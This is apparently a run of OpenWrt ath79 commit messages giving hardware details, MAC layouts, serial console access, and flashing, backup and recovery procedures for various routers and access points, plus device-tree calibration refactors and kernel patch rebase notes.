FCC ID: A8J-EWS660AP
Engenius EWS660AP is an outdoor wireless access point with
2 gigabit ethernet ports, dual-band wireless,
internal antenna plates, and 802.3at PoE+
**Specification:**
- QCA9558 SOC 2.4 GHz, 3x3
- QCA9880 WLAN mini PCIe card, 5 GHz, 3x3, 26dBm
- AR8035-A PHY RGMII GbE with PoE+ IN
- AR8033 PHY SGMII GbE with PoE+ OUT
- 40 MHz clock
- 16 MB FLASH MX25L12845EMI-10G
- 2x 64 MB RAM
- UART at J1 populated, RX grounded
- 6 internal antenna plates (5 dbi, omni-directional)
- 5 LEDs, 1 button (power, eth0, eth1, 2G, 5G) (reset)
**MAC addresses:**
Base MAC addressed labeled as "MAC"
Only one Vendor MAC address in flash
eth0 *:d4 MAC art 0x0
eth1 *:d5 --- art 0x0 +1
phy1 *:d6 --- art 0x0 +2
phy0 *:d7 --- art 0x0 +3
**Serial Access:**
the RX line on the board for UART is shorted to ground by resistor R176
therefore it must be removed to use the console
but it is not necessary to remove to view boot log
optionally, R175 can be replaced with a solder bridge short
the resistors R175 and R176 are next to the UART RX pin
**Installation:**
2 ways to flash factory.bin from OEM:
Method 1: Firmware upgrade page:
OEM webpage at 192.168.1.1
username and password "admin"
Navigate to "Firmware Upgrade" page from left pane
Click Browse and select the factory.bin image
Upload and verify checksum
Click Continue to confirm and wait 3 minutes
Method 2: Serial to load Failsafe webpage:
After connecting to serial console and rebooting...
Interrupt uboot with any key pressed rapidly
execute `run failsafe_boot` OR `bootm 0x9fd70000`
wait a minute
connect to ethernet and navigate to
"192.168.1.1/index.htm"
Select the factory.bin image and upload
wait about 3 minutes
**Return to OEM:**
If you have a serial cable, see Serial Failsafe instructions
otherwise, uboot-env can be used to make uboot load the failsafe image
ssh into openwrt and run
`fw_setenv rootfs_checksum 0`
reboot, wait 3 minutes
connect to ethernet and navigate to 192.168.1.1/index.htm
select OEM firmware image from Engenius and click upgrade
**TFTP recovery:**
Requires serial console, reset button does nothing
rename initramfs.bin to '0101A8C0.img'
make available on TFTP server at 192.168.1.101
power board, interrupt boot
execute tftpboot and bootm 0x81000000
**Format of OEM firmware image:**
The OEM software of EWS660AP is a heavily modified version
of Openwrt Kamikaze. One of the many modifications
is to the sysupgrade program. Image verification is performed
simply by the successful ungzip and untar of the supplied file
and name check and header verification of the resulting contents.
To form a factory.bin that is accepted by OEM Openwrt build,
the kernel and rootfs must have specific names...
openwrt-ar71xx-generic-ews660ap-uImage-lzma.bin
openwrt-ar71xx-generic-ews660ap-root.squashfs
and begin with the respective headers (uImage, squashfs).
Then the files must be tarballed and gzipped.
The resulting binary is actually a tar.gz file in disguise.
This can be verified by using binwalk on the OEM firmware images,
ungzipping then untaring.
Newer EnGenius software requires more checks but their script
includes a way to skip them, otherwise the tar must include
a text file with the version and md5sums in a deprecated format.
The OEM upgrade script is at /etc/fwupgrade.sh.
OKLI kernel loader is required because the OEM software
expects the kernel to be no greater than 1536k
and the factory.bin upgrade procedure would otherwise
overwrite part of the kernel when writing rootfs.
Note on PLL-data cells:
The default PLL register values will not work
because of the external AR8035 switch between
the SOC and the ethernet port.
For QCA955x series, the PLL registers for eth0 and eth1
can be see in the DTSI as 0x28 and 0x48 respectively.
Therefore the PLL registers can be read from uboot
for each link speed after attempting tftpboot
or another network action using that link speed
with `md 0x18050028 1` and `md 0x18050048 1`.
The clock delay required for RGMII can be applied
at the PHY side, using the at803x driver `phy-mode`.
Therefore the PLL registers for GMAC0
do not need the bits for delay on the MAC side.
This is possible due to fixes in at803x driver
since Linux 5.1 and 5.3
Tested-by: Niklas Arnitz <openwrt@arnitz.email>
Signed-off-by: Michael Pratt <mcpratt@pm.me>
Specifications:
SOC: QCA9588 CPU 720 MHz AHB 200 MHz
Switch: AR8236
RAM: 64 MiB DDR2-600
Flash: 8 MiB
WLAN: Wi-Fi4 2.4 GHz 3*3
LAN: LAN ports *4
WAN: WAN port *1
Buttons: reset *1 + wps *1
LEDs: ethernet *5, power, wlan, wps
MAC Address:
use address source
label 70:62:b8:xx:xx:96 lan && wlan
lan 70:62:b8:xx:xx:96 mfcdata@0x35
wan 70:62:b8:xx:xx:97 mfcdata@0x6a
wlan 70:62:b8:xx:xx:96 mfcdata@0x51
Install via Web UI:
Apply factory image in the stock firmware's Web UI.
Install via Emergency Room Mode:
DIR-629 A1 will enter recovery mode when the system fails to boot or
press reset button for about 10 seconds.
First, set IP address to 192.168.0.1 and server IP to 192.168.0.10.
Then we can open http://192.168.0.1 in the web browser to upload
OpenWrt factory image or stock firmware. Some modern browsers may
need to turn on compatibility mode.
Signed-off-by: Shiji Yang <yangshiji66@qq.com>
This change consolidates Netgear EX7300 series devices into two images
corresponding to devices that share the same manufacturer firmware
image. Similar to the manufacturer firmware, the actual device model is
detected at runtime. The logic is taken from the netgear GPL dumps in a
file called generate_board_conf.sh.
Hardware details for EX7300 v2 variants
---------------------------------------
SoC: QCN5502
Flash: 16 MiB
RAM: 128 MiB
Ethernet: 1 gigabit port
Wireless 2.4GHz (currently unsupported due to lack of ath9k support):
- EX6250 / EX6400 v2 / EX6410 / EX6420: QCN5502 3x3
- EX7300 v2 / EX7320: QCN5502 4x4
Wireless 5GHz:
- EX6250: QCA9986 3x3 (detected by ath10k as QCA9984 3x3)
- EX6400 v2 / EX6410 / EX6420 / EX7300 v2 / EX7320: QCA9984 4x4
Signed-off-by: Wenli Looi <wlooi@ucalgary.ca>
glinet forum users reported the problem at
https://forum.gl-inet.com/t/gl-ar300m16-openwrt-22-03-0-rc5-usb-port-power-off-by-default/23199
The current code uses the regulator framework to control the USB power
supply. Although usb0 described in DTS refers to the regulator by
vbus-supply, but there is no code related to regulator implemented
in the USB driver of QCA953X, so the USB of the device cannot work.
Under the regulator framework, adding the regulator-always-on attribute
fixes this problem, but it means that USB power will not be able to be
turned off. Since we need to control the USB power supply in user space,
I didn't find any other better way under the regulator framework of Linux,
so I directly export gpio.
Signed-off-by: Luo Chongjun <luochongjun@gl-inet.com>
In order to maximize the available space on UniFi AC boards using a
dual-image partition layout, combine the two OS partitions into a single
partition.
This allows users to access more usable space for additional packages.
Don't limit the usable image size to the size of a single OS partition.
The initial installation has to be done with an older version of OpenWrt
in case the generated image exceeds the space of a single kernel
partition in the future.
Signed-off-by: David Bauer <mail@david-bauer.net>
In order to maximize the available space on OCEDO boards using a
dual-image partition layout, combine the two OS partitions into a single
partition.
This allows users to access more usable space for additional packages.
Don't limit the usable image size to the size of a single OS partition.
The initial installation has to be done with an older version of OpenWrt
in case the generated image exceeds the space of a single OS
partition in the future.
Signed-off-by: David Bauer <mail@david-bauer.net>
22.03.1+ and snapshot builds no longer fit the 6M flash space
available for these models.
This disables failing buildbot image builds for these devices.
Images can still be built manually with ImageBuilder.
Signed-off-by: Joe Mullally <jwmullally@gmail.com>
Pull the calibration data from the nvmem subsystem. This allows us to
move userspace caldata extraction into the device-tree definition.
Merge art into partition node.
Signed-off-by: Stefan Kalscheuer <stefan@stklcode.de>
FCC ID: U2M-CAP4100AG
Fortinet FAP-221-B is an indoor access point with
1 Gb ethernet port, dual-band wireless,
internal antenna plates, and 802.3at PoE+
Hardware and board design from Senao
**Specification:**
- AR9344 SOC 2G 2x2, 5G 2x2, 25 MHz CLK
- AR9382 WLAN 2G 2x2 PCIe, 40 MHz CLK
- AR8035-A PHY RGMII, PoE+ IN, 25 MHz CLK
- 16 MB FLASH MX25L12845EMI-10G
- 2x 32 MB RAM W9725G6JB-25
- UART at J11 populated, 9600 baud
- 6 LEDs, 1 button power, ethernet, wlan, reset
Note: ethernet LEDs are not enabled
because a new netifd hotplug is required
in order to operate like OEM.
Board has 1 amber and 1 green
for each of the 3 case viewports.
**MAC addresses:**
1 MAC Address in flash at end of uboot
ASCII encoded, no delimiters
Labeled as "MAC Address" on case
OEM firmware sets offsets 1 and 8 for wlan
eth0 *:1e uboot 0x3ff80
phy0 *:1f uboot 0x3ff80 +1
phy1 *:26 uboot 0x3ff80 +8
**Serial Access:**
Pinout: (arrow) VCC GND RX TX
Pins are populated with a header and traces not blocked.
Bootloader is set to 9600 baud, 8 data, 1 stop.
**Console Access:**
Bootloader:
Interrupt boot with Ctrl+C
Press "k" and enter password "1"
OR
Hold reset button for 5 sec during power on
Interrupt the TFTP transfer with Ctrl+C
to print commands available, enter "help"
OEM:
default username is "admin", password blank
telnet is available at default address 192.168.1.2
serial is available with baud 9600
to print commands available, enter "help"
or tab-tab (busybox list of commands)
**Installation:**
Use factory.bin with OEM upgrade procedures
OR
Use initramfs.bin with uboot TFTP commands.
Then perform a sysupgrade with sysupgrade.bin
**TFTP Recovery:**
Using serial console, load initramfs.bin using TFTP
to boot openwrt without touching the flash.
TFTP is not reliable due to bugged bootloader,
set MTU to 600 and try many times.
If your TFTP server supports setting block size,
higher block size is better.
Splitting the file into 1 MB parts may be necessary
example:
$ tftpboot 0x80100000 image1.bin
$ tftpboot 0x80200000 image2.bin
$ tftpboot 0x80300000 image3.bin
$ tftpboot 0x80400000 image4.bin
$ tftpboot 0x80500000 image5.bin
$ tftpboot 0x80600000 image6.bin
$ bootm 0x80100000
**Return to OEM:**
The best way to return to OEM firmware
is to have a copy of the MTD partitions
before flashing Openwrt.
Backup copies should be made of partitions
"fwconcat0", "loader", and "fwconcat1"
which together is the same flash range
as OEM's "rootfs" and "uimage"
by loading an initramfs.bin
and using LuCI to download the mtdblocks.
It is also possible to extract from the
OEM firmware upgrade image by splitting it up
in parts of lengths that correspond
to the partitions in openwrt
and write them to flash,
after gzip decompression.
After writing to the firmware partitions,
erase the "reserved" partition and reboot.
**OEM firmware image format:**
Images from Fortinet for this device
ending with the suffix .out
are actually a .gz file
The gzip metadata stores the original filename
before compression, which is a special string
used to verify the image during OEM upgrade.
After gzip decompression, the resulting file
is an exact copy of the MTD partitions
"rootfs" and "uimage" combined in the same order and size
that they appear in /proc/mtd and as they are on flash.
OEM upgrade is performed by a customized busybox
with the command "upgrade".
Another binary, "restore"
is a wrapper for busybox's "tftp" and "upgrade".
Signed-off-by: Michael Pratt <mcpratt@pm.me>
Some vendors of Senao boards have a similar flash layout
situation that causes the need to split the firmware partition
and use the lzma-loader, but do not store
checksums of the partitions or otherwise
do not even have a uboot environment partition.
This adds simple shell logic to skip that part.
Also, simplify some lines and variable usage.
Signed-off-by: Michael Pratt <mcpratt@pm.me>
Some vendors of Senao boards have put a bootloader
that cannot handle both large gzip or large lzma files.
There is no disadvantage by doing this for all of them.
Signed-off-by: Michael Pratt <mcpratt@pm.me>
Pull the calibration data from the nvmem subsystem. This allows us to
move userspace caldata extraction into the device-tree definition.
Merge art into partition node.
Signed-off-by: Nick Hainke <vincent@systemli.org>
Removed upstreamed:
pending-5.15/101-Use-stddefs.h-instead-of-compiler.h.patch[1]
ipq806x/patches-5.15/122-01-clk-qcom-clk-krait-fix-wrong-div2-functions.patch[2]
bcm27xx/patches-5.15/950-0198-drm-fourcc-Add-packed-10bit-YUV-4-2-0-format.patch[3]
Manually rebased:
ramips/patches-5.15/100-PCI-mt7621-Add-MediaTek-MT7621-PCIe-host-controller-.patch[4]
Added patch/backported:
ramips/patches-5.15/107-PCI-mt7621-Add-sentinel-to-quirks-table.patch[5]
All other patches automatically rebased.
1. https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?h=v5.15.86&id=c160505c9b574b346031fdf2c649d19e7939ca11
2. https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?h=v5.15.86&id=a051e10bfc6906d29dae7a31f0773f2702edfe1b
3. https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?h=v5.15.86&id=ec1727f89ecd6f2252c0c75e200058819f7ce47a
4. Quilt gave this output when I applied the patch to rebase it:
% quilt push -f
Applying patch platform/100-PCI-mt7621-Add-MediaTek-MT7621-PCIe-host-controller-.patch
patching file arch/mips/ralink/Kconfig
patching file drivers/pci/controller/Kconfig
patching file drivers/pci/controller/Makefile
patching file drivers/staging/Kconfig
patching file drivers/staging/Makefile
patching file drivers/staging/mt7621-pci/Kconfig
patching file drivers/staging/mt7621-pci/Makefile
patching file drivers/staging/mt7621-pci/TODO
patching file drivers/staging/mt7621-pci/mediatek,mt7621-pci.txt
patching file drivers/staging/mt7621-pci/pci-mt7621.c
Hunk #1 FAILED at 1.
Not deleting file drivers/staging/mt7621-pci/pci-mt7621.c as content differs from patch
1 out of 1 hunk FAILED -- saving rejects to file drivers/staging/mt7621-pci/pci-mt7621.c.rej
patching file drivers/pci/controller/pcie-mt7621.c
Applied patch platform/100-PCI-mt7621-Add-MediaTek-MT7621-PCIe-host-controller-.patch (forced; needs refresh)
Upon inspecting drivers/staging/mt7621-pci/pci-mt7621.c.rej, it seems that
the original patch wants to delete drivers/staging/mt7621-pci/pci-mt7621.c
but upstream's version was not an exact match. I opted to delete that
file.
5. Suggestion by hauke: 19098934f9
"This patch is in upstream kernel, but it was backported to the old
staging driver in kernel 5.15."
Build system: x86_64
Build-tested: bcm2711/RPi4B, filogic/xiaomi_redmi-router-ax6000-ubootmod
Run-tested: bcm2711/RPi4B, filogic/xiaomi_redmi-router-ax6000-ubootmod
Signed-off-by: John Audia <therealgraysky@proton.me>
"0x1000" looks suspicious. By looking at data provided
by @DragonBluep I was able to identify the correct size for
AR9380, AR9287 WiFis. Furthermore, PowerCloud Systems CAP324
has a AR9344 WiFi.
Signed-off-by: Nick Hainke <vincent@systemli.org>
A device COMPILE target should not depend on another COMPILE.
Otherwise race condition may happen.
The loader is very small. Compiling it twice shouldn't
have a huge impact.
Signed-off-by: Alexander Couzens <lynxis@fe80.eu>
KuWFi C910 is an 802.11n (300N) indoor router with LTE support.
I can't find anywhere the OEM firmware. So if you want to restore the
original firmware you must do a dump before the OpenWrt flash.
According to the U-Boot, the board name is Iyunlink MINI_V2.
Hardware
--------
SoC: Qualcomm QCA9533 650/400/200/25/25 MHz (CPU/RAM/AHB/SPI/REF)
RAM: 128 MB DDR2 16-bit CL3-4-4-10 (Nanya NT5TU64M16HG-AC)
FLASH: 16 MB Winbond W25Q128
ETH:
- 2x 100M LAN (QCA9533 internal AR8229 switch, eth0)
- 1x 100M WAN (QCA9533 internal PHY, eth1)
WIFI:
- 2.4GHz: 1x QCA9533 2T2R (b/g/n)
- 2 external non detachable antennas (near the power barrel side)
LTE:
- Quectel EC200T-EU (or -CN or -AU depending on markets)
- 2 external non detachable antennas (near the sim slot side)
BTN:
- 1x Reset button
LEDS:
- 5x White leds (Power, Wifi, Wan, Lan1, Lan2)
- 1x RGB led (Internet)
UART: 115200-8-N-1 (Starting from lan ports in order: GND, RX, TX, VCC)
Everything works correctly.
MAC Addresses
-------------
LAN XX:XX:XX:XX:XX:48 (art@0x1002)
WAN XX:XX:XX:XX:XX:49 (art@0x1002 + 1)
WIFI XX:XX:XX:XX:XX:48
LABEL XX:XX:XX:XX:XX:48
Installation
------------
Turn the router on while pressing the reset button for 4 seconds.
You can simply count the flashes of the first lan led. (See notes)
If done correctly you should see the first lan led glowing slowly and
you should be able to enter the U-Boot web interface.
Click on the second tab ("固件") and select the -factory.bin firmware
then click "Update firmware".
A screen "Update in progress" should appear.
After few minutes the flash should be completed.
This procedure can be used also to recover the router in case of soft
brick.
Backup the original firmware
----------------------------
The following steps are intended for a linux pc. However using the
right software this guide should also work for Windows and MacOS.
1) Install a tftp server on your pc. For example tftpd-hpa.
2) Create two empty files in your tftp folder called:
kuwfi_c910_all_nor.bin
kuwfi_c910_firmware_only.bin
3) Give global write permissions to these files:
chmod 666 kuwfi_c910_all_nor.bin
chmod 666 kuwfi_c910_firmware_only.bin
4) Start a netcat session on your pc with this command:
nc -u -p 6666 192.168.1.1 6666
5) Set the static address on your pc: 192.168.1.2. Connect the router
to your pc.
6) Turn the router on while pressing the reset button for 8-9 seconds.
You can simply count the flashes of the first lan led. If you
press the reset button for too many seconds it will continue
the normal boot, so you have to restart the router. (See notes)
7) If done correctly you should see the U-Boot network console and you
should see the following lines on the netcat session:
Version and build date:
U-Boot 1.1.4-55f1bca8-dirty, 2020-05-07
Modification by:
Piotr Dymacz <piotr@dymacz.pl>
https://github.com/pepe2k/u-boot_mod
u-boot>
8) Start the transfer of the whole NOR:
tftpput 0x9f000000 0x1000000 kuwfi_c910_all_nor.bin
9) The router should start the transfer and it should end with a
message like this (pay attention to the bytes transferred):
TFTP transfer complete!
Bytes transferred: 16777216 (0x1000000)
10) Repeat the same transfer for the firmware:
tftpput 0x9f050000 0xfa0000 kuwfi_c910_firmware_only.bin
11) The router should start the transfer and it should end with a
message like this (pay attention to the bytes transferred):
TFTP transfer complete!
Bytes transferred: 16384000 (0xfa0000)
12) Now you have the backup for the whole nor and for the firmware
partition. If you want to restore the OEM firmware from OpenWrt
you have to flash the kuwfi_c910_firmware_only.bin from the
U-Boot web interface.
WARNING: Don't use the kuwfi_c910_all_nor.bin file. This file
is only useful if you manage to hard brick the router or you
damage the art partition (ask on the forum)
Notes
-----
This router (or at least my unit) has the pepe2k's U-Boot. It's a
modded U-Boot version with a lot of cool features. You can read more
here: https://github.com/pepe2k/u-boot_mod
With this version of U-Boot, pushing the reset button while turning on
the router starts different tools:
- 3-5 seconds: U-Boot web interface that can be used to replace the
firmware, the art or the U-Boot itself
- 5-7 seconds: U-Boot uart console
- 7-10 seconds: U-Boot network console
- 11+ seconds: Normal boot
The LTE modem can be used in cdc_ether (ECM) or RNDIS mode.
The default mode is ECM and in this commit only the ECM software is
included. In order to set RNDIS mode you must use this AT command:
AT+QCFG="usbnet",3
In order to use again the ECM mode you must use this AT command:
AT+QCFG="usbnet",1
Look for "Quectel_EC200T_Linux_USB_Driver_User_Guide_V1.0.pdf" for
other AT commands
Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com>
Pull the calibration data from the nvmem subsystem. This allows us to
move userspace caldata extraction into the device-tree definition.
While working on it remove stale uboot partition label and merge art
into partition node.
Signed-off-by: Nick Hainke <vincent@systemli.org>
Pull the calibration data from the nvmem subsystem. This allows us to
move userspace caldata extraction into the device-tree definition.
Merge art into partition node.
Signed-off-by: Nick Hainke <vincent@systemli.org>
Pull the calibration data from the nvmem subsystem. This allows us to
move userspace caldata extraction into the device-tree definition.
Merge art into partition node.
Signed-off-by: Nick Hainke <vincent@systemli.org>
Pull the calibration data from the nvmem subsystem. This allows us to
move userspace caldata extraction into the device-tree definition.
Merge art into partition node.
Signed-off-by: Nick Hainke <vincent@systemli.org>
Pull the calibration data from the nvmem subsystem. This allows us to
move userspace caldata extraction into the device-tree definition.
Merge art into partition node.
Signed-off-by: Nick Hainke <vincent@systemli.org>
|109.3-19: Warning (reg_format): macaddr@0:reg:property has invalid length (8 bytes)
|113.3-24: Warning (reg_format): calibration@1000:reg: property has invalid length (8 bytes)
|117.3-24: Warning (reg_format): calibration@5000:reg: property has invalid length (8 bytes)
also integrate the art-nodes nodes back into the partition-subnode
and change the calibration labels to match what everyone else is
doing.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
|109.3-19: Warning (reg_format): macaddr@0:reg:property has invalid length (8 bytes)
|113.3-24: Warning (reg_format): calibration@1000:reg: property has invalid length (8 bytes)
|117.3-24: Warning (reg_format): calibration@5000:reg: property has invalid length (8 bytes)
also integrate the art-nodes nodes back into the partition-subnode
and change the calibration labels to match what everyone else is
doing.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Pull the calibration data from the nvmem subsystem. This allows us to
move userspace caldata extraction into the device-tree definition.
Signed-off-by: Nick Hainke <vincent@systemli.org>
(removed mtd-cal-data property, merged art + addr nodes back into
partition)
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Pull the calibration data from the nvmem subsystem. This allows us to
move userspace caldata extraction into the device-tree definition.
Signed-off-by: Nick Hainke <vincent@systemli.org>
(merged art node back into partition-node)
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Pull the calibration data from the nvmem subsystem. This allows us to
move userspace caldata extraction into the device-tree definition.
Signed-off-by: Nick Hainke <vincent@systemli.org>
(merged art into partition node, removed stale uboot label)
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Remove the caldata extraction in userspace. The board already uses
nvmem-cells since
commit e354b01baf ("ath79: calibrate all ar9344 tl-WDRxxxx with nvmem")
Signed-off-by: Nick Hainke <vincent@systemli.org>
Pull the calibration data from the nvmem subsystem. This allows us to
move userspace caldata extraction into the device-tree definition.
Signed-off-by: Nick Hainke <vincent@systemli.org>
Pull the calibration data from the nvmem subsystem. This allows us to
move userspace caldata extraction into the device-tree definition.
Signed-off-by: Nick Hainke <vincent@systemli.org>
(merged art-node back into partition-node)
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Pull the calibration data from the nvmem subsystem. This allows us to
move userspace caldata extraction into the device-tree definition.
Signed-off-by: Nick Hainke <vincent@systemli.org>
TP-Link CPE605-v1 is an outdoor wireless CPE for 5 GHz with
one Ethernet port based on Atheros AR9344
Specifications:
- 560/450/225 MHz (CPU/DDR/AHB)
- 1x 10/100 Mbps Ethernet
- 64 MB of DDR2 RAM
- 8 MB of SPI-NOR Flash
- 23dBi high-gain directional antenna and a dedicated metal reflector
- Power, LAN, WLAN5G green LEDs
- 3x green RSSI LEDs
Flashing instructions:
Flash factory image through stock firmware WEB UI or through TFTP
To get to TFTP recovery just hold reset button while powering on for
around 4-5 seconds and release.
Rename factory image to recovery.bin
Stock TFTP server IP:192.168.0.100
Stock device TFTP adress:192.168.0.254
Signed-off-by: Andrew Cameron <apcameron@softhome.net>
The MAC-Address setup for the Teltonika RUT230 v1 was swapped for the
LAN / WAN ports. Also the Label-MAC was assigned incorrect, as the WiFi
MAC is printed on the case as part of the SSID, however only the LAN
MAC-Address is designated as a MAC-Address.
Signed-off-by: David Bauer <mail@david-bauer.net>
1. Drop useless character '0xff' before fake filesystem header.
2. Reduce useless padding to shrink the size of the sysupgrade image.
3. Do not check the size of sysupgrade image. It does not make sense to
check the size of a compressed package.
4. Do not take the size of netgear header into account because it will
not be written to Flash.
5. Use the default lzma compression dictionary parameter '-d24' to get
better performance.
Tested on Netgear R6100
Signed-off-by: Shiji Yang <yangshiji66@qq.com>
- Bring back factory.bin image which was missing after porting device to ath79 target
- Use default sysupgrade.bin image recipe
- Adjust max image size according to new firmware partition size after
"ath79: expand rootfs for DIR-825-B1 with unused space (aca8bb5)" changes
- Remove support of upgrading from version 19.07, because partition size changes mentioned above
Signed-off-by: Will Moss <willormos@gmail.com>
FCC ID: A8J-EAP1750H
Engenius EAP1750H is an indoor wireless access point with
1 Gb ethernet port, dual-band wireless,
internal antenna plates, and 802.3at PoE+
**Specification:**
- QCA9558 SOC
- QCA9880 WLAN PCI card, 5 GHz, 3x3, 26dBm
- AR8035-A PHY RGMII GbE with PoE+ IN
- 40 MHz clock
- 16 MB FLASH MX25L12845EMI-10G
- 2x 64 MB RAM NT5TU32M16FG
- UART at J10 populated
- 4 internal antenna plates (5 dbi, omni-directional)
- 5 LEDs, 1 button (power, eth0, 2G, 5G, WPS) (reset)
**MAC addresses:**
MAC addresses are labeled as ETH, 2.4G, and 5GHz
Only one Vendor MAC address in flash
eth0 ETH *:fb art 0x0
phy1 2.4G *:fc ---
phy0 5GHz *:fd ---
**Serial Access:**
the RX line on the board for UART is shorted to ground by resistor R176
therefore it must be removed to use the console
but it is not necessary to remove to view boot log
optionally, R175 can be replaced with a solder bridge short
the resistors R175 and R176 are next to the UART RX pin at J10
**Installation:**
2 ways to flash factory.bin from OEM:
Method 1: Firmware upgrade page:
OEM webpage at 192.168.1.1
username and password "admin"
Navigate to "Firmware Upgrade" page from left pane
Click Browse and select the factory.bin image
Upload and verify checksum
Click Continue to confirm and wait 3 minutes
Method 2: Serial to load Failsafe webpage:
After connecting to serial console and rebooting...
Interrupt uboot with any key pressed rapidly
execute `run failsafe_boot` OR `bootm 0x9fd70000`
wait a minute
connect to ethernet and navigate to
"192.168.1.1/index.htm"
Select the factory.bin image and upload
wait about 3 minutes
**Return to OEM:**
If you have a serial cable, see Serial Failsafe instructions
otherwise, uboot-env can be used to make uboot load the failsafe image
ssh into openwrt and run
`fw_setenv rootfs_checksum 0`
reboot, wait 3 minutes
connect to ethernet and navigate to 192.168.1.1/index.htm
select OEM firmware image from Engenius and click upgrade
**TFTP recovery:**
Requires serial console, reset button does nothing
rename initramfs to 'vmlinux-art-ramdisk'
make available on TFTP server at 192.168.1.101
power board, interrupt boot
execute tftpboot and bootm 0x81000000
NOTE: TFTP is not reliable due to bugged bootloader
set MTU to 600 and try many times
if your TFTP server supports setting block size
higher block size is better.
**Format of OEM firmware image:**
The OEM software of EAP1750H is a heavily modified version
of Openwrt Kamikaze. One of the many modifications
is to the sysupgrade program. Image verification is performed
simply by the successful ungzip and untar of the supplied file
and name check and header verification of the resulting contents.
To form a factory.bin that is accepted by OEM Openwrt build,
the kernel and rootfs must have specific names...
openwrt-ar71xx-generic-eap1750h-uImage-lzma.bin
openwrt-ar71xx-generic-eap1750h-root.squashfs
and begin with the respective headers (uImage, squashfs).
Then the files must be tarballed and gzipped.
The resulting binary is actually a tar.gz file in disguise.
This can be verified by using binwalk on the OEM firmware images,
ungzipping then untaring.
Newer EnGenius software requires more checks but their script
includes a way to skip them, otherwise the tar must include
a text file with the version and md5sums in a deprecated format.
The OEM upgrade script is at /etc/fwupgrade.sh.
OKLI kernel loader is required because the OEM software
expects the kernel to be no greater than 1536k
and the factory.bin upgrade procedure would otherwise
overwrite part of the kernel when writing rootfs.
Note on PLL-data cells:
The default PLL register values will not work
because of the external AR8035 switch between
the SOC and the ethernet port.
For QCA955x series, the PLL registers for eth0 and eth1
can be see in the DTSI as 0x28 and 0x48 respectively.
Therefore the PLL registers can be read from uboot
for each link speed after attempting tftpboot
or another network action using that link speed
with `md 0x18050028 1` and `md 0x18050048 1`.
The clock delay required for RGMII can be applied
at the PHY side, using the at803x driver `phy-mode`.
Therefore the PLL registers for GMAC0
do not need the bits for delay on the MAC side.
This is possible due to fixes in at803x driver
since Linux 5.1 and 5.3
Signed-off-by: Michael Pratt <mcpratt@pm.me>
Driver for and pci wlan card now pull the calibration data from the nvmem
subsystem.
This allows us to move the userspace caldata extraction for the pci-e ath9k
supported wifi into the device-tree definition of the device.
The wifi mac address remains correct after these changes, because When both
"mac-address" and "calibration" are defined, the effective mac address
comes from the cell corresponding to "mac-address" and
mac-address-increment.
Test passed on my tplink tl-wr2543nd.
Signed-off-by: Edward Chow <equu@openmail.cc>
Manually rebased: ath79/patches-5.10/910-unaligned_access_hacks.patch
All other patches automatically rebased.
Signed-off-by: John Audia <therealgraysky@proton.me>
On TP-Link TL-WR740N/TL-WR741ND v4 LAN MAC address (eth1 in DTS) is main
device MAC address, so do not increment it. WAN MAC is LAN MAC + 1.
Signed-off-by: Will Moss <willormos@gmail.com>
The downstream OpenWrt driver for the BCM53128 switch ceased to work,
rendering the 8 LAN ports of the device unusable. This commit disables
image building while the problem is being solved.
See issue #10374 for more details.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Driver for both soc (2.4GHz Wifi) and pci (5 GHz) now pull the calibration
data from the nvmem subsystem.
This allows us to move the userspace caldata extraction for the pci-e ath9k
supported wifi into the device-tree definition of the device.
wmac's nodes are also changed over to use nvmem-cells over OpenWrt's
custom mtd-cal-data property.
The wifi mac address remains correct after these changes, because When both
"mac-address" and "calibration" are defined, the effective mac address
comes from the cell corresponding to "mac-address" and
mac-address-increment.
Test passed on my wndr3700v4 and wndr4500v3.
Signed-off-by: Edward Chow <equu@openmail.cc>
Driver for both soc (2.4GHz Wifi) and pci (5 GHz) now pull the calibration
data from the nvmem subsystem.
This allows us to move the userspace caldata extraction for the pci-e ath9k
supported wifi into the device-tree definition of the device.
wmac's nodes are also changed over to use nvmem-cells over OpenWrt's
custom mtd-cal-data property.
The wifi mac address remains correct after these changes, because When both
"mac-address" and "calibration" are defined, the effective mac address
comes from the cell corresponding to "mac-address" and
mac-address-increment.
Test passed on my tplink tl-wdr4310.
Signed-off-by: Edward Chow <equu@openmail.cc>
Ruckus ZoneFlex 7025 is a single 2.4GHz radio 802.11n 1x1 enterprise
access point with built-in Ethernet switch, in an electrical outlet form factor.
Hardware highligts:
- CPU: Atheros AR7240 SoC at 400 MHz
- RAM: 64MB DDR2
- Flash: 16MB SPI-NOR
- Wi-Fi: AR9285 built-in 2.4GHz 1x1 radio
- Ethernet: single Fast Ethernet port inside the electrical enclosure,
coupled with internal LSA connector for direct wiring,
four external Fast Ethernet ports on the lower side of the device.
- PoE: 802.3af PD input inside the electrical box.
802.3af PSE output on the LAN4 port, capable of sourcing
class 0 or class 2 devices, depending on power supply capacity.
- External 8P8C pass-through connectors on the back and right side of the device
- Standalone 48V power input on the side, through 2/1mm micro DC barrel jack
Serial console: 115200-8-N-1 on internal JP1 header.
Pinout:
---------- JP1
|5|4|3|2|1|
----------
Pin 1 is near the "H1" marking.
1 - RX
2 - n/c
3 - VCC (3.3V)
4 - GND
5 - TX
Installation:
There are two methods of installation:
- Using serial console [1] - requires some disassembly, 3.3V USB-Serial
adapter, TFTP server, and removing a single T10 screw,
but with much less manual steps, and is generally recommended, being
safer.
- Using stock firmware root shell exploit, SSH and TFTP [2]. Does not
work on some rare versions of stock firmware. A more involved, and
requires installing `mkenvimage` from u-boot-tools package if you
choose to rebuild your own environment, but can be used without
disassembly or removal from installation point, if you have the
credentials.
If for some reason, size of your sysupgrade image exceeds 13312kB,
proceed with method [1]. For official images this is not likely to
happen ever.
[1] Using serial console:
0. Connect serial console to H1 header. Ensure the serial converter
does not back-power the board, otherwise it will fail to boot.
1. Power-on the board. Then quickly connect serial converter to PC and
hit Ctrl+C in the terminal to break boot sequence. If you're lucky,
you'll enter U-boot shell. Then skip to point 3.
Connection parameters are 115200-8-N-1.
